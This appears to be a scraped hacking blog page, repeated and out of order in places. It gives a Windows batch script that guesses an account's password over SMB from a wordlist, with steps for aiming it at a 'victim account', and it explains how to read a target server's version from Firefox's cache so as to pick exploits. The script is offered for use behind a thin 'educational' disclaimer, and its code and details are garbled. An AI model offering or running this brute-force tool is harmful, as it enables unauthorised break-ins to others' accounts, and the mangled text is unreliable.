C:\>LANbrute.bat 192.169.21.02 Administrator Where, LANbrute.bat - This is the Name of the batch file that resides in the C Drive. 192.169.21.02 - IP Address of the Target Computer. Administrator - Victim Account that you want to crack. 5. This program will start launching Dictionary Attack against the Adminstrator account on the Mahine 192.168.21.02 , by using the passwords from the file passlist.txt and will not stop until it finds a right match. 6. If the right password was found, then it will save it in a text file named 'output.txt' on the same directory.//Disclaimer : This is only meant for Educational Means, The owner[Roney] of this blog is not responsible for whatever you do with this.
You need a Dictionary text file to proceed further to launch this attack successfully. Just Follow the steps below, 1. Open up a Notepad file.
2. Copy and paste the below code and save it as a Batch file with.bat extension.@echo off
if "%1''=="" goto fin
if "%2''=="" goto fin
del logfile.txt
FOR /F "tokens=1'' %%i in (passlist.txt) do ^
echo %%i && ^
net use \\%1 \ipc$ %%i /u:%1 \%2 2>>logfile.txt && ^
echo %time% %date% >> output.txt && ^
echo \\%1 \ipc$ acct: %2 pass: %%i >> output.txt && goto end
:fin
echo *****Done***** 3. Make sure that you have a Dictionary password Text file in the same location where you are going to execute this program. ( Name should be passlist.txt )
4. Now goto the command prompt and then execute this program from there, along with the Target compters IP address or Hostname and the Valid Username. The Syntax should be like this,...
C:\>LANbrute.bat 192.169.21.02 Administrator Where, LANbrute.bat - This is the Name of the batch file that resides in the C Drive. 192.169.21.02 - IP Address of the Target Computer. Administrator - Victim Account that you want to crack. 5. This program will start launching Dictionary Attack against the Adminstrator account on the Mahine 192.168.21.02 , by using the passwords from the file passlist.txt and will not stop until it finds a right match. 6. If the right password was found, then it will save it in a text file named 'output.txt' on the same directory.//Disclaimer : This is only meant for Educational Means, The owner[Roney] of this blog is not responsible for whatever you do with this.
Information Gathering using Firefox
The First and foremost step in hacking would be the " Information Gathering ", many of them use various different Tools for the network Reconnaissance, but here is a trick that reveals you how to gather Information about the target system just by using a Browser "Firefox". The Information Gathering includes the following basics,.... Domain name and IP address
Open Ports
Daemon Banner Grabbing
OS Finger Printing
Server name and Type Well, Domain name is the prime thing that you need, at least to identify the target, obtaining the IP address can be done just by pinging. For the Open port detection, you might better go for third party tools and once the open ports are obtained you can use the telnet for the Daemon Banner grabbing, to know what the actual process thats running on the port along with its version info, so that you can easily launch an exploit to compromise the security if the daemon running on the target is a vulnerable one. Here comes the real tough part " OS Fingerprinting ", most of them use 'Nmap' for obtaining OS info and also it is the right choice for doing so. " Whois " - database will reveal what type of server is running on the target machine, but you can find it out just by using Firefox. You can really launch hell a lot of exploits if you know the server type on the target machine, and if it is IIS 6.0 or lesser, then it would make the task easier. Open up the Firefox browser, and browse the target website just like a legitimate user, and once done with it open up a new tab (CTRL + T) and close the previous tab, type "about:cache" in the URL and hit enter and it will list you the following... Memory cache device
Disk cache device
Offline cache device
Down below the "Disk cache device" click on the link that says " List Cache Entries ",
there you can see a brief history of the sites that you visited. Click on your target site's link and it will display you the server type along with its version in a clear text, also you ca find the packet Header, Request method whether it is a Post or Get.
and down below you can analyze the payload of the datagram shown in hexa- decimal values.
This part is real interesting and looks similar to a Sniffer. Now you got the server type and its version, and now you can launch exploits according to the version.
Open Ports
Daemon Banner Grabbing
OS Finger Printing
Server name and Type Well, Domain name is the prime thing that you need, at least to identify the target, obtaining the IP address can be done just by pinging. For the Open port detection, you might better go for third party tools and once the open ports are obtained you can use the telnet for the Daemon Banner grabbing, to know what the actual process thats running on the port along with its version info, so that you can easily launch an exploit to compromise the security if the daemon running on the target is a vulnerable one. Here comes the real tough part " OS Fingerprinting ", most of them use 'Nmap' for obtaining OS info and also it is the right choice for doing so. " Whois " - database will reveal what type of server is running on the target machine, but you can find it out just by using Firefox. You can really launch hell a lot of exploits if you know the server type on the target machine, and if it is IIS 6.0 or lesser, then it would make the task easier. Open up the Firefox browser, and browse the target website just like a legitimate user, and once done with it open up a new tab (CTRL + T) and close the previous tab, type "about:cache" in the URL and hit enter and it will list you the following... Memory cache device
Disk cache device
Offline cache device
Down below the "Disk cache device" click on the link that says " List Cache Entries ",
there you can see a brief history of the sites that you visited. Click on your target site's link and it will display you the server type along with its version in a clear text, also you ca find the packet Header, Request method whether it is a Post or Get.
and down below you can analyze the payload of the datagram shown in hexa- decimal values.
This part is real interesting and looks similar to a Sniffer. Now you got the server type and its version, and now you can launch exploits according to the version.
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